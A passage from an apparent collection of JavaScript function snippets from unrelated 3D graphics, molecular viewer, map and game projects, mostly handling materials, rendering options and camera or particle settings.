sid=\"specular-sampler\"><sampler2D><source>specular-surface</source></sampler2D></newparam>' :\n\t\t\t\t\t\t\t''\n\t\t\t\t\t) +\n\n\t\t\t\t\t(\n\t\t\t\t\t\tm.emissiveMap ?\n\t\t\t\t\t\t\t'<newparam sid=\"emissive-surface\"><surface type=\"2D\">' +\n\t\t\t\t\t\t\t\"<init_from>\" + (processTexture( m.emissiveMap )) + \"</init_from>\" +\n\t\t\t\t\t\t\t'</surface></newparam>' +\n\t\t\t\t\t\t\t'<newparam sid=\"emissive-sampler\"><sampler2D><source>emissive-surface</source></sampler2D></newparam>' :\n\t\t\t\t\t\t\t''\n\t\t\t\t\t) +\n\n\t\t\t\t\ttechniqueNode +\n\n\t\t\t\t\t(\n\t\t\t\t\t\tm.side === DoubleSide ?\n\t\t\t\t\t\t\t\"<extra><technique><double_sided sid=\\\"double_sided\\\" type=\\\"int\\\">1</double_sided></technique></extra>\" :\n\t\t\t\t\t\t\t''\n\t\t\t\t\t) +\n\n\t\t\t\t\t'</profile_COMMON>' +\n\n\t\t\t\t\t'</effect>';\n\n\t\t\t\tlibraryMaterials.push( (\"<material id=\\\"\" + matid + \"\\\" name=\\\"\" + (m.name) + \"\\\"><instance_effect url=\\\"#\" + matid + \"-effect\\\" /></material>\") );\n\t\t\t\tlibraryEffects.push( effectnode );\n\t\t\t\tmaterialMap.set( m, matid );\n\n\t\t\t}\n\n\t\t\treturn matid;\n\n\t\t}", "function _reworkFontOpts(fontOpts, options) {\n var myOpts = JSON.parse(JSON.stringify(fontOpts)), // make a copy because we may edit this (see below)\n params,\n prop;\n\n /*\n If the user is chosing to use a specific type of layout (e.g., 'full', 'fitted', etc etc)\n Then we need to override the default font options.\n */\n if (typeof options.horizontalLayout !== 'undefined') {\n params = getHorizontalFittingRules(options.horizontalLayout, fontOpts);\n for (prop in params) {\n myOpts.fittingRules[prop] = params[prop];\n }\n }\n if (typeof options.verticalLayout !== 'undefined') {\n params = getVerticalFittingRules(options.verticalLayout, fontOpts);\n for (prop in params) {\n myOpts.fittingRules[prop] = params[prop];\n }\n }\n myOpts.printDirection = (typeof options.printDirection !== 'undefined') ? options.printDirection : fontOpts.printDirection;\n myOpts.showHardBlanks = options.showHardBlanks || false;\n\n return myOpts;\n }", "function applyOptions(){\n\n\tvar options = viewerParams.parts.options;\n\n\tvar forGUI = [];\n\n\t//modify the minimum z to show particles at (avoid having particles up in your face)\n\tif (options.hasOwnProperty('zmin') && options.zmin != null) viewerParams.zmin = options.zmin;\n\n\t//modify the maximum z to show particles at (avoid having particles up way in the background)\n\tif (options.hasOwnProperty('zmax') && options.zmax != null) viewerParams.zmax = options.zmax;\n\n\t//initialize center\n\tif (options.hasOwnProperty('center')){\n\t\tif (options.center != null){\n\t\t\tviewerParams.center = new THREE.Vector3(options.center[0], options.center[1], options.center[2]);\n\t\t\tsetBoxSize(viewerParams.parts[viewerParams.partsKeys[0]].Coordinates_flat); } \n\t\telse options.center = [viewerParams.center.x, viewerParams.center.y, viewerParams.center.z]; } \n\telse options.center = [viewerParams.center.x, viewerParams.center.y, viewerParams.center.z];\n\n\t//change location of camera\n\tif (options.hasOwnProperty('camera') &&\n\t\toptions.camera != null) viewerParams.camera.position.set(\n\t\t\toptions.camera[0],\n\t\t\toptions.camera[1],\n\t\t\toptions.camera[2]);\n\n\t//change the rotation of the camera \n\tif (options.hasOwnProperty('cameraRotation') &&\n\t\toptions.cameraRotation != null) viewerParams.camera.rotation.set(\n\t\t\toptions.cameraRotation[0],\n\t\t\toptions.cameraRotation[1],\n\t\t\toptions.cameraRotation[2]);\n\n\t//change the up vector of the camera (required to get the rotation correct)\n\tif (options.hasOwnProperty('cameraUp') &&\n\t\toptions.cameraUp != null) viewerParams.camera.up.set(\n\t\t\toptions.cameraUp[0],\n\t\t\toptions.cameraUp[1],\n\t\t\toptions.cameraUp[2]);\n\n\t//check if we are starting in Fly controls\n\tif (options.hasOwnProperty('startFly') && options.startFly) viewerParams.useTrackball = false;\n\n\t//check if we are starting in VR controls\n\tif (options.hasOwnProperty('startVR') && options.startVR) viewerParams.allowVRControls = true;\n\n\t//check if we are starting in column density mode\n\tif (options.hasOwnProperty('startColumnDensity') && options.startColumnDensity) viewerParams.columnDensity = true;\n\n\t// flag to start in a tween loop\n\tif (options.hasOwnProperty('startTween') && options.startTween){\n\t\tviewerParams.updateTween = true\t\n\t\tsetTweenviewerParams();\n\t}\n\n\t//modify the initial friction\n\tif (options.hasOwnProperty('friction') && options.friction != null) viewerParams.friction = options.friction;\n\n\t//check if we are starting in Stereo\n\tif (options.hasOwnProperty('stereo') && options.stereo){\n\t\tviewerParams.normalRenderer = viewerParams.renderer;\n\t\tviewerParams.renderer = viewerParams.effect;\n\t\tviewerParams.useStereo = true;\n\t\tif (viewerParams.haveUI){\n\t\t\tvar evalString = 'elm = document.getElementById(\"StereoCheckBox\"); elm.checked = true; elm.value = true;'\n\t\t\tforGUI.push({'evalCommand':[evalString]})\n\t} \t}\n\n\t//modify the initial stereo separation\n\tif (options.hasOwnProperty('stereoSep') && options.stereoSep != null){\n\t\t\tviewerParams.stereoSep = options.stereoSep;\n\t\t\tviewerParams.effect.setEyeSeparation(viewerParams.stereoSep);\n\t}\n\n\t//modify the initial decimation\n\tif (options.hasOwnProperty('decimate') && options.decimate != null) viewerParams.decimate = options.decimate;\n\t\n\t//maximum range in calculating the length the velocity vectors\n\tif (options.hasOwnProperty(\"maxVrange\") && options.maxVrange != null){\n\t\tviewerParams.maxVrange = options.maxVrange; //maximum dynamic range for length of velocity vectors\n\t\tfor (var i=0; i<viewerParams.partsKeys.length; i++){\n\t\t\tvar p = viewerParams.partsKeys[i];\n\t\t\tif (viewerParams.parts[p].Velocities_flat != null){\n\t\t\t\tcalcVelVals(viewerParams.parts[p]); \n\t} \t} \t}\n\n\t//modify the minimum point scale factor\n\tif (options.hasOwnProperty('minPointScale') && options.minPointScale != null) viewerParams.minPointScale = options.minPointScale;\n\n\t//modify the maximum point scale factor\n\tif (options.hasOwnProperty('maxPointScale') && options.maxPointScale != null) viewerParams.maxPointScale = options.maxPointScale;\n\n // add an annotation to the top if necessary\n\tif (options.hasOwnProperty('annotation') && options.annotation != null){\n\t\telm = document.getElementById('annotate_container');\n\t\telm.innerHTML=options.annotation;\n\t\telm.style.display='block';\n }\n\n\t// flag to show fps in top right corner\n\tif (options.hasOwnProperty('showFPS') && options.showFPS != null) viewerParams.showFPS = options.showFPS;\n\n\t// flag to show memory usage in top right corner\n\tif (options.hasOwnProperty('showMemoryUsage') && options.showMemoryUsage != null) viewerParams.showMemoryUsage = options.showMemoryUsage;\n\n\t// change the memory limit for octrees, in bytes\n\tif (options.hasOwnProperty('memoryLimit') && options.memoryLimit != null) viewerParams.memoryLimit = options.memoryLimit;\n\t// flag to launch the app in a tween loop\n\tif (viewerParams.parts.options.hasOwnProperty('start_tween')){\n\t\tif (viewerParams.parts.options.start_tween){\n\t\t\tviewerParams.updateTween = true\t\n\t\t\tsetTweenviewerParams();\n\t\t}\n\t}\n\n\t// --------- column density options ----------- \n\n\t// flag to launch the app with the column density projection mode enabled\n\tif (viewerParams.parts.options.hasOwnProperty(viewerParams.CDkey)){\n\t\tif (viewerParams.parts.options.columnDensity != null){\n\t\t\tviewerParams.columnDensity = viewerParams.parts.options.columnDensity;\n\t\t}\n\t}\n\n\t// flag to renormalize column densities in logspace\n\tif (viewerParams.parts.options.hasOwnProperty('CDlognorm')){\n\t\tif (viewerParams.parts.options.CDlognorm != null){\n\t\t\tviewerParams.CDlognorm = viewerParams.parts.options.CDlognorm;\n\t\t}\n\t}\n\n\t// bottom of the column density renormalization\n\tif (viewerParams.parts.options.hasOwnProperty('CDmin')){\n\t\tif (viewerParams.parts.options.CDmin != null){\n\t\t\tviewerParams.CDmin = viewerParams.parts.options.CDmin;\n\t\t}\n\t}\n\n\t// top of the column density renormalization\n\tif (viewerParams.parts.options.hasOwnProperty('CDmax')){\n\t\tif (viewerParams.parts.options.CDmax != null){\n\t\t\tviewerParams.CDmax = viewerParams.parts.options.CDmax;\n\t\t}\n\t}\t\n\n\t// disable GUI elements\n\tif (viewerParams.parts.options.hasOwnProperty('GUIExcludeList')){\n\t\tif (viewerParams.parts.options.GUIExcludeList != null){\n\t\t\tviewerParams.GUIExcludeList = viewerParams.parts.options.GUIExcludeList;\n\t\t}\n\t}\n\n\tif (viewerParams.parts.options.hasOwnProperty('collapseGUIAtStart')){\n\t\tif (viewerParams.parts.options.collapseGUIAtStart != null){\n\t\t\tviewerParams.collapseGUIAtStart = viewerParams.parts.options.collapseGUIAtStart;\n\t\t}\n\t}\n\n\t//particle specific options\n\tvar options_keys = Object.keys(viewerParams.parts.options.showParts);\n\tfor (var i=0; i<viewerParams.partsKeys.length; i++){\n\t\tvar viewer_p = viewerParams.partsKeys[i];\n\t\tvar p;\n\t\tfor (j=0;j<options_keys.length;j++){\n\t\t\tif (removeSpecialChars(options_keys[j]) == viewer_p){\n\t\t\t\tp = options_keys[j];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t//on/off\n\t\tif (options.hasOwnProperty(\"showParts\") && \n\t\t\toptions.showParts != null && \n\t\t\toptions.showParts.hasOwnProperty(p) && \n\t\t\toptions.showParts[p] != null) viewerParams.showParts[viewer_p] = options.showParts[p];\n\n\t\t//size\n\t\tif (options.hasOwnProperty(\"sizeMult\") && \n\t\t\toptions.sizeMult != null && \n\t\t\toptions.sizeMult.hasOwnProperty(p) && \n\t\t\toptions.sizeMult[p] != null) viewerParams.PsizeMult[viewer_p] = options.sizeMult[p];\n\n\t\t//color\n\t\tif (options.hasOwnProperty(\"color\") &&\n\t\t\toptions.color != null &&\n\t\t\toptions.color.hasOwnProperty(p) && \n\t\t\toptions.color[p] != null) viewerParams.Pcolors[viewer_p] = options.color[p];\n\n\t\t//maximum number of particles to plot\n\t\tif (options.hasOwnProperty(\"plotNmax\") &&\n\t\t\toptions.plotNmax != null &&\n\t\t\toptions.plotNmax.hasOwnProperty(p) &&\n\t\t\toptions.plotNmax[p] != null) viewerParams.plotNmax[viewer_p] = options.plotNmax[p];\n\n\t\t//start plotting the velocity vectors\n\t\tif (options.hasOwnProperty(\"showVel\") && \n\t\t\toptions.showVel != null &&\n\t\t\toptions.showVel.hasOwnProperty(p) &&\n\t\t\toptions.showVel[p]){\n\n\t\t\tviewerParams.showVel[viewer_p] = true;\n\t\t\tif (viewerParams.haveUI){\n\t\t\t\tvar evalString = 'elm = document.getElementById(\"'+p+'velCheckBox\"); elm.checked = true; elm.value = true;'\n\t\t\t\tforGUI.push({'evalCommand':[evalString]})\n\t\t} \t}\n\n\t\t//type of velocity vectors\n\t\tif (options.hasOwnProperty(\"velType\") &&\n\t\t\toptions.velType != null &&\n\t\t\toptions.velType.hasOwnProperty(p) && \n\t\t\toptions.velType[p] != null){\n\t\t\t// type guard the velocity lines, only allow valid values\n\t\t\tif (options.velType[p] == 'line' || options.velType[p] == 'arrow' || options.velType[p] == 'triangle'){\n\t\t\t\tviewerParams.velType[viewer_p] = options.velType[p];\n\t\t} \t}\n\n\t\t//velocity vector width\n\t\tif (options.hasOwnProperty(\"velVectorWidth\") &&\n\t\t\toptions.velVectorWidth != null &&\n\t\t\toptions.velVectorWidth.hasOwnProperty(p) &&\n\t\t\toptions.velVectorWidth[p] != null) viewerParams.velVectorWidth[viewer_p] = options.velVectorWidth[p]; \n\n\t\t//velocity vector gradient\n\t\tif (options.hasOwnProperty(\"velGradient\") && \n\t\t\toptions.velGradient != null && \n\t\t\toptions.velGradient.hasOwnProperty(p) &&\n\t\t\toptions.velGradient[p] != null) viewerParams.velGradient[viewer_p] = +options.velGradient[p]; //convert from bool to int\n\n\t\t//start showing the velocity animation\n\t\tif (options.hasOwnProperty(\"animateVel\") && \n\t\t\toptions.animateVel != null &&\n\t\t\toptions.animateVel.hasOwnProperty(p) &&\n\t\t\toptions.animateVel[p] != null){\n\n\t\t\tviewerParams.animateVel[viewer_p] = true;\n\t\t\tif (viewerParams.haveUI){\n\t\t\t\tvar evalString = 'elm = document.getElementById(\"'+p+'velAnimateCheckBox\"); elm.checked = true; elm.value = true;'\n\t\t\t\tforGUI.push({'evalCommand':[evalString]})\n\t\t} \t}\n\n\t\t//animate velocity dt\n\t\tif (options.hasOwnProperty(\"animateVelDt\") &&\n\t\t\toptions.animateVelDt != null &&\n\t\t\toptions.animateVelDt.hasOwnProperty(p) &&\n\t\t\toptions.animateVelDt[p] != null) viewerParams.animateVelDt[viewer_p] = options.animateVelDt[p];\n\n\t\t//animate velocity tmax\n\t\tif (options.hasOwnProperty(\"animateVelTmax\") &&\n\t\t\toptions.animateVelTmax != null &&\n\t\t\toptions.animateVelTmax.hasOwnProperty(p) &&\n\t\t\toptions.animateVelTmax[p] != null) viewerParams.animateVelTmax[viewer_p] = options.animateVelTmax[p];\n\n\t\t//filter limits\n\t\tif (options.hasOwnProperty(\"filterLims\") &&\n\t\t\toptions.filterLims != null &&\n\t\t\toptions.filterLims.hasOwnProperty(p) &&\n\t\t\toptions.filterLims[p] != null){\n\t\t\tviewerParams.updateFilter[viewer_p] = true\n\n\t\t\tfor (k=0; k<viewerParams.fkeys[viewer_p].length; k++){\n\t\t\t\tvar fkey = viewerParams.fkeys[viewer_p][k]\n\t\t\t\tif (options.filterLims[p].hasOwnProperty(fkey)){\n\t\t\t\t\tif (options.filterLims[p][fkey] != null){\n\t\t\t\t\t\tviewerParams.filterLims[viewer_p][fkey] = []\n\t\t\t\t\t\tviewerParams.filterLims[viewer_p][fkey].push(options.filterLims[p][fkey][0]);\n\t\t\t\t\t\tviewerParams.filterLims[viewer_p][fkey].push(options.filterLims[p][fkey][1]);\n\t\t} \t} \t} \t}\n\n\t\t//filter values\n\t\tif (options.hasOwnProperty(\"filterVals\") &&\n\t\t\toptions.filterVals != null &&\n\t\t\toptions.filterVals.hasOwnProperty(p) &&\n\t\t\toptions.filterVals[p] != null){\n\t\t\tviewerParams.updateFilter[viewer_p] = true\n\n\t\t\tfor (k=0; k<viewerParams.fkeys[viewer_p].length; k++){\n\t\t\t\tvar fkey = viewerParams.fkeys[viewer_p][k]\n\t\t\t\tif (options.filterVals[p].hasOwnProperty(fkey)){\n\t\t\t\t\tif (options.filterVals[p][fkey] != null){\n\t\t\t\t\t\tviewerParams.filterVals[viewer_p][fkey] = []\n\t\t\t\t\t\tviewerParams.filterVals[viewer_p][fkey].push(options.filterVals[p][fkey][0]);\n\t\t\t\t\t\tviewerParams.filterVals[viewer_p][fkey].push(options.filterVals[p][fkey][1]);\n\t\t} \t} \t} \t}\n\n\t\t//filter invert\n\t\tif (options.hasOwnProperty(\"invertFilter\") &&\n\t\t\toptions.invertFilter != null &&\n\t\t\toptions.invertFilter.hasOwnProperty(p) &&\n\t\t\toptions.invertFilter[p] != null){\n\t\t\tfor (k=0; k<viewerParams.fkeys[viewer_p].length; k++){\n\t\t\t\tvar fkey = viewerParams.fkeys[viewer_p][k]\n\t\t\t\tif (options.invertFilter[p].hasOwnProperty(fkey)){\n\t\t\t\t\tif (options.invertFilter[p][fkey] != null){\n\t\t\t\t\t\tviewerParams.invertFilter[viewer_p][fkey] = options.invertFilter[p][fkey];\n\t\t} \t}\t } \t}\n\n\t\t//colormap limits\n\t\tif (options.hasOwnProperty(\"colormapLims\") &&\n\t\t\toptions.colormapLims != null && \n\t\t\toptions.colormapLims.hasOwnProperty(p) && \n\t\t\toptions.colormapLims[p] != null){\n\t\t\tfor (k=0; k<viewerParams.ckeys[viewer_p].length; k++){\n\t\t\t\tvar ckey = viewerParams.ckeys[viewer_p][k]\n\t\t\t\tif (options.colormapLims[p].hasOwnProperty(ckey)){\n\t\t\t\t\tif (options.colormapLims[p][ckey] != null){\n\t\t\t\t\t\tviewerParams.colormapLims[viewer_p][ckey] = []\n\t\t\t\t\t\tviewerParams.colormapLims[viewer_p][ckey].push(options.colormapLims[p][ckey][0]);\n\t\t\t\t\t\tviewerParams.colormapLims[viewer_p][ckey].push(options.colormapLims[p][ckey][1]);\n\t\t} \t} \t} \t}\n\n\t\t//colormap values\n\t\tif (options.hasOwnProperty(\"colormapVals\") &&\n\t\t\toptions.colormapVals != null &&\n\t\t\toptions.colormapVals.hasOwnProperty(p) &&\n\t\t\toptions.colormapVals[p] != null){\n\n\t\t\tfor (k=0; k<viewerParams.ckeys[viewer_p].length; k++){\n\t\t\t\tvar ckey = viewerParams.ckeys[viewer_p][k]\n\t\t\t\tif (options.colormapVals[p].hasOwnProperty(ckey)){\n\t\t\t\t\tif (options.colormapVals[p][ckey] != null){\n\t\t\t\t\t\tviewerParams.colormapVals[viewer_p][ckey] = []\n\t\t\t\t\t\tviewerParams.colormapVals[viewer_p][ckey].push(options.colormapVals[p][ckey][0]);\n\t\t\t\t\t\tviewerParams.colormapVals[viewer_p][ckey].push(options.colormapVals[p][ckey][1]);\n\t\t} \t} \t} \t}\n\n\t\t//start plotting with a colormap\n\t\tif (options.hasOwnProperty(\"showColormap\") &&\n\t\t\toptions.showColormap != null &&\n\t\t\toptions.showColormap.hasOwnProperty(p) &&\n\t\t\toptions.showColormap[p] == true){\n\t\t\tviewerParams.showColormap[viewer_p] = true;\n\t\t\tif (viewerParams.haveUI){\n\t\t\t\tconsole.log(p+'colorCheckBox')\n\t\t\t\tvar evalString = 'elm = document.getElementById(\"'+p+'colorCheckBox\"); elm.checked = true; elm.value = true;'\n\t\t\t\tforGUI.push({'evalCommand':[evalString]})\n\t\t} \t}\n\n\t\t//choose which colormap to use\n\t\tif (options.hasOwnProperty(\"colormap\") && \n\t\t\toptions.colormap != null &&\n\t\t\toptions.colormap.hasOwnProperty(p) && \n\t\t\toptions.colormap[p] != null) viewerParams.colormap[viewer_p] = copyValue(options.colormap[p]);\n\n\t\t//select the colormap variable to color by\n\t\tif (options.hasOwnProperty(\"colormapVariable\") && \n\t\t\toptions.colormapVariable != null &&\n\t\t\toptions.colormapVariable.hasOwnProperty(p) && \n\t\t\toptions.colormapVariable[p] != null) viewerParams.colormapVariable[viewer_p] = copyValue(options.colormapVariable[p]);\n\n\t\t//select the radius variable to scale by\n\t\tif (options.hasOwnProperty(\"radiusVariable\") && \n\t\t\toptions.radiusVariable != null &&\n\t\t\toptions.radiusVariable.hasOwnProperty(p) && \n\t\t\toptions.radiusVariable[p] != null) viewerParams.radiusVariable[viewer_p] = copyValue(options.radiusVariable[p]);\n\n\t\tif (options.hasOwnProperty(\"blendingMode\") && \n\t\t\toptions.blendingMode != null &&\n\t\t\toptions.blendingMode.hasOwnProperty(p) && \n\t\t\toptions.blendingMode[p] != null) viewerParams.blendingMode[viewer_p] = copyValue(options.blendingMode[p]);\n\t\t\t\n\t\tif (options.hasOwnProperty(\"depthTest\") && \n\t\t\toptions.depthTest != null &&\n\t\t\toptions.depthTest.hasOwnProperty(p) && \n\t\t\toptions.depthTest[p] != null){\n\t\t\t\tviewerParams.depthTest[viewer_p] = copyValue(options.depthTest[p]);\n\t\t\t\tviewerParams.depthWrite[viewer_p] = copyValue(options.depthTest[p]);\n\t\t\t\t/*\n\t\t\t\tvar evalString =( 'elm = document.getElementById(' + p + '_depthCheckBox);'+\n\t\t\t\t\t'elm.checked = ' + options.depthTest[p] + ';'+\n\t\t\t\t\t'elm.value = ' + options.depthTest[p]+';')\n\t\t\t\tforGUI.push({'evalCommand':evalString});\n\t\t\t\t*/\n\t\t\t}\n\t\t\t\n\t}// particle specific options\n\n\t// initialize all the colormap stuff that columnDensity will need. Because it's\n\t// not a real particle group it won't get set in the loop above\n\t// do it here so it happens in the presets too and load settings, etc...\n\tviewerParams.showParts[viewerParams.CDkey] = viewerParams.partsKeys.some(\n\t\tfunction (key){return viewerParams.showParts[key]});\n\tviewerParams.colormap[viewerParams.CDkey] = 4/256\n\tviewerParams.ckeys[viewerParams.CDkey] = [viewerParams.CDckey]\n\tviewerParams.colormapLims[viewerParams.CDkey] = {}\n\tviewerParams.colormapLims[viewerParams.CDkey][viewerParams.ckeys[viewerParams.CDkey][0]] = [viewerParams.CDmin,viewerParams.CDmax]\n\tviewerParams.colormapVals[viewerParams.CDkey] = {}\n\tviewerParams.colormapVals[viewerParams.CDkey][viewerParams.ckeys[viewerParams.CDkey][0]] = [viewerParams.CDmin,viewerParams.CDmax]\n\tviewerParams.colormapVariable[viewerParams.CDkey] = 0;\n\tviewerParams.showColormap[viewerParams.CDkey] = false;\n\tviewerParams.updateColormapVariable[viewerParams.CDkey] = false;\n\n\tsendToGUI(forGUI);\n}", "applyOtherOptions(options) {\n let ic = this.icn3d,\n me = ic.icn3dui\n if (options === undefined) options = ic.opts\n\n // if(ic.lines !== undefined) {\n // contact lines\n ic.hBondCls.setHbondsContacts(options, 'contact')\n\n // halogen lines\n ic.hBondCls.setHbondsContacts(options, 'halogen')\n // pi-cation lines\n ic.hBondCls.setHbondsContacts(options, 'pi-cation')\n // pi-stacking lines\n ic.hBondCls.setHbondsContacts(options, 'pi-stacking')\n\n // hbond lines\n ic.hBondCls.setHbondsContacts(options, 'hbond')\n // salt bridge lines\n ic.hBondCls.setHbondsContacts(options, 'saltbridge')\n if (ic.pairArray !== undefined && ic.pairArray.length > 0) {\n this.updateStabilizer() // to update ic.stabilizerpnts\n\n let color = '#FFFFFF'\n let pnts = ic.stabilizerpnts\n ic.lines['stabilizer'] = [] // reset\n for (let i = 0, lim = Math.floor(pnts.length / 2); i < lim; i++) {\n let line = {}\n line.position1 = pnts[2 * i]\n line.position2 = pnts[2 * i + 1]\n line.color = color\n line.dashed = false // if true, there will be too many cylinders in the dashed lines\n\n ic.lines['stabilizer'].push(line)\n }\n }\n\n ic.lineCls.createLines(ic.lines)\n // }\n\n // distance sets\n if (ic.distPnts && ic.distPnts.length > 0) {\n for (let i = 0, il = ic.distPnts.length; i < il; ++i) {\n ic.boxCls.createBox_base(ic.distPnts[i], ic.originSize, ic.hColor, false)\n }\n }\n\n // maps\n if (ic.prevMaps !== undefined) {\n for (let i = 0, il = ic.prevMaps.length; i < il; ++i) {\n ic.mdl.add(ic.prevMaps[i])\n }\n }\n\n // EM map\n if (ic.prevEmmaps !== undefined) {\n for (let i = 0, il = ic.prevEmmaps.length; i < il; ++i) {\n ic.mdl.add(ic.prevEmmaps[i])\n }\n }\n\n if (ic.prevPhimaps !== undefined) {\n for (let i = 0, il = ic.prevPhimaps.length; i < il; ++i) {\n ic.mdl.add(ic.prevPhimaps[i])\n }\n }\n\n // surfaces\n if (ic.prevSurfaces !== undefined) {\n for (let i = 0, il = ic.prevSurfaces.length; i < il; ++i) {\n ic.mdl.add(ic.prevSurfaces[i])\n }\n }\n\n // symmetry axes and polygon\n if (ic.symmetryHash !== undefined && ic.symmetrytitle !== undefined) {\n ic.applySymdCls.applySymmetry(ic.symmetrytitle)\n }\n\n if (ic.symdArray !== undefined && ic.symdArray.length > 0) {\n //var bSymd = true;\n //ic.applySymmetry(ic.symdtitle, bSymd);\n ic.applySymdCls.applySymd()\n }\n\n // other meshes\n if (ic.prevOtherMesh !== undefined) {\n for (let i = 0, il = ic.prevOtherMesh.length; i < il; ++i) {\n ic.mdl.add(ic.prevOtherMesh[i])\n }\n }\n\n if (me.htmlCls.setHtmlCls.getCookie('glycan') != '') {\n let bGlycansCartoon = parseInt(me.htmlCls.setHtmlCls.getCookie('glycan'))\n\n if (ic.bGlycansCartoon != bGlycansCartoon) {\n me.htmlCls.clickMenuCls.setLogCmd('set glycan ' + bGlycansCartoon, true)\n }\n\n ic.bGlycansCartoon = bGlycansCartoon\n }\n\n // add cartoon for glycans\n if (ic.bGlycansCartoon && !ic.bAlternate) {\n ic.glycanCls.showGlycans()\n }\n\n ic.applyCenterCls.applyCenterOptions(options)\n\n ic.axesCls.buildAllAxes(undefined, true)\n\n switch (options.axis.toLowerCase()) {\n case 'yes':\n ic.axis = true\n ic.axesCls.buildAxes(ic.maxD / 2)\n\n break\n case 'no':\n ic.axis = false\n break\n }\n switch (options.pk.toLowerCase()) {\n case 'atom':\n ic.pk = 1\n break\n case 'no':\n ic.pk = 0\n break\n case 'residue':\n ic.pk = 2\n break\n case 'strand':\n ic.pk = 3\n break\n }\n }", "_setMeshRenderFlags(renderer, object) {\n\t\t//object.material.color = renderer._blendMeshColor; //TODO: only if changed? //JS\n\t\t//object.material.setUniform(\"meshBlendRatio\", renderer._blendMeshRatio); //js\n\t\t//object.material.setUniform(\"meshLight\", renderer._meshLightning);//js\n\t\t//return object._meshBlendRatio < 0.995 ? true : false; //js\n\n\t\t//object.material.setUniform(\"material.diffuse\", object.material.color);\n\t\t//object.material.setUniform(\"meshBlendRatio\", object._meshBlendRatio);\n\t\t//object.material.setUniform(\"meshLight\", object._meshLightning); //js\n\t\treturn object._meshBlendRatio < 0.995;\n\t}", "material() { return new class Material extends Overridable {}().replace({ shader: this }) }", "setProperties(material) {\n\t\tthis.contactMaterial = this.game.physics.p2.createContactMaterial(this.properties, material);\n\t\tthis.body.angularDamping = 1;\n\n\t\tswitch(this.name) {\n\t\t\tcase 'rock':\n\t\t\t\tthis.contactMaterial.friction = 1000;\n\t\t\t\tthis.contactMaterial.restitution = 0;\n\t\t\t\tthis.contactMaterial.stiffness = 10000;\n\t\t\t\tthis.contactMaterial.relaxation = 10000;\n\t\t\t\tthis.contactMaterial.frictionStiffness = 1e7;\n\t\t\t\tthis.contactMaterial.frictionRelaxation = 3;\n\t\t\t\tthis.contactMaterial.surfaceVelocity = 0;\n\t\t\t\tbreak;\n\t\t\tcase 'ground-trap':\n\t\t\t\tthis.contactMaterial.friction = 1000;\n\t\t\t\tthis.contactMaterial.restitution = 0;\n\t\t\t\tthis.contactMaterial.stiffness = 10000;\n\t\t\t\tthis.contactMaterial.relaxation = 10000;\n\t\t\t\tthis.contactMaterial.frictionStiffness = 1e7;\n\t\t\t\tthis.contactMaterial.frictionRelaxation = 3;\n\t\t\t\tthis.contactMaterial.surfaceVelocity = -1;\n\t\t\t\tbreak;\n\t\t\tcase 'puzzle-obstacle':\n\t\t\t\tthis.contactMaterial.friction = 0;\n\t\t\t\tthis.contactMaterial.restitution = 0;\n\t\t\t\tthis.contactMaterial.stiffness = 10000;\n\t\t\t\tthis.contactMaterial.relaxation = 10000;\n\t\t\t\tthis.contactMaterial.frictionStiffness = 0;\n\t\t\t\tthis.contactMaterial.frictionRelaxation = 3;\n\t\t\t\tthis.contactMaterial.surfaceVelocity = -1;\n\t\t\t\tbreak;\n\t\t\tcase 'spikes':\n\t\t\t\tthis.contactMaterial.friction = 1000;\n\t\t\t\tthis.contactMaterial.restitution = 0;\n\t\t\t\tthis.contactMaterial.stiffness = 10000;\n\t\t\t\tthis.contactMaterial.relaxation = 10000;\n\t\t\t\tthis.contactMaterial.frictionStiffness = 1e7;\n\t\t\t\tthis.contactMaterial.frictionRelaxation = 3;\n\t\t\t\tthis.contactMaterial.surfaceVelocity = 0;\n\t\t\t\tbreak;\n\t\t}\n\t}", "initMaterials() {\n this.material = new CGFappearance(this.scene);\n this.material.setDiffuse(1, 1, 1, 1);\n this.material.setSpecular(1, 1, 1, 1);\n this.material.setAmbient(0.8, 0.8, 0.8, 1);\n this.material.setTextureWrap('REPEAT', 'REPEAT');\n\n this.initTextures();\n }", "setOption(options) {\n const {\n map = this.options.map,\n blendMode = this.options.blendMode,\n layer = this.options.layer,\n data = this.options.layer,\n radius = this.options.radius,\n useKd = this.options.useKd,\n opacity = this.options.opacity,\n onClick = this.options.onClick,\n onHover = this.options.onHover,\n isFixedRadius = this.options.isFixedRadius,\n fillColor = this.options.fillColor,\n zIndex = this.options.zIndex,\n } = options;\n\n /* Save differential options only. */\n const canvasNewOptions = {};\n\n /* If it is true, render function will be called to perform a re-render. */\n let shouldReRender = false;\n\n /**\n * Combine changed option props that will cause reRender together.\n * */\n const optionShouldRender = (key, newProp) => {\n const lastProp = this.options[key];\n if (lastProp !== newProp) {\n canvasNewOptions[key] = newProp;\n shouldReRender = true;\n }\n };\n\n optionShouldRender('layer', layer);\n optionShouldRender('blendMode', blendMode);\n optionShouldRender('data', data);\n optionShouldRender('radius', radius);\n optionShouldRender('useKd', useKd);\n optionShouldRender('isFixedRadius', isFixedRadius);\n optionShouldRender('fillColor', fillColor);\n\n if (isFixedRadius !== this.options.isFixedRadius) {\n shouldReRender = true;\n }\n\n if (opacity !== this.options.opacity) {\n this.customLayer.setOpacity(opacity);\n shouldReRender = true;\n }\n\n if (zIndex !== this.options.zIndex) {\n this.customLayer.setzIndex(zIndex);\n shouldReRender = true;\n }\n\n /**\n * Radius and isFixed are relative;\n * */\n if (radius !== this.options.radius || isFixedRadius !== this.options.isFixedRadius) {\n if (radius !== undefined) {\n let pointRadius = radius;\n if (typeof radius === 'function') {\n pointRadius = radius(this.map);\n } else if (!isFixedRadius) {\n pointRadius = radius / this.map.getResolution();\n }\n pointRadius = Math.ceil(pointRadius);\n canvasNewOptions.radius = pointRadius;\n } else {\n canvasNewOptions.radius = undefined;\n }\n shouldReRender = true;\n }\n\n if (map !== this.options.map) {\n this.customLayer.setMap(map);\n /**\n * It might be not neccessary to call re-render function\n * because setMap will perform re-render automatically\n */\n shouldReRender = false;\n }\n\n /* Update canvas options if options is not empty. */\n if (Object.keys(canvasNewOptions).length !== 0) {\n /** Raw radius should be kept in this.options,\n * and the processed radius delivered to pointRender */\n this.pointRender.setOptions(canvasNewOptions);\n }\n\n this.options = {\n map,\n layer,\n data,\n radius,\n useKd,\n onClick,\n onHover,\n isFixedRadius,\n fillColor,\n zIndex,\n blendMode,\n };\n\n /* Perform re-render. */\n if (shouldReRender) {\n this.render();\n }\n }", "fixMaterials() {\n const baseMaterial = this.getObjectByName('handle').material;\n\n baseMaterial.shininess = 15;\n\n this.refs.touchpad.material = 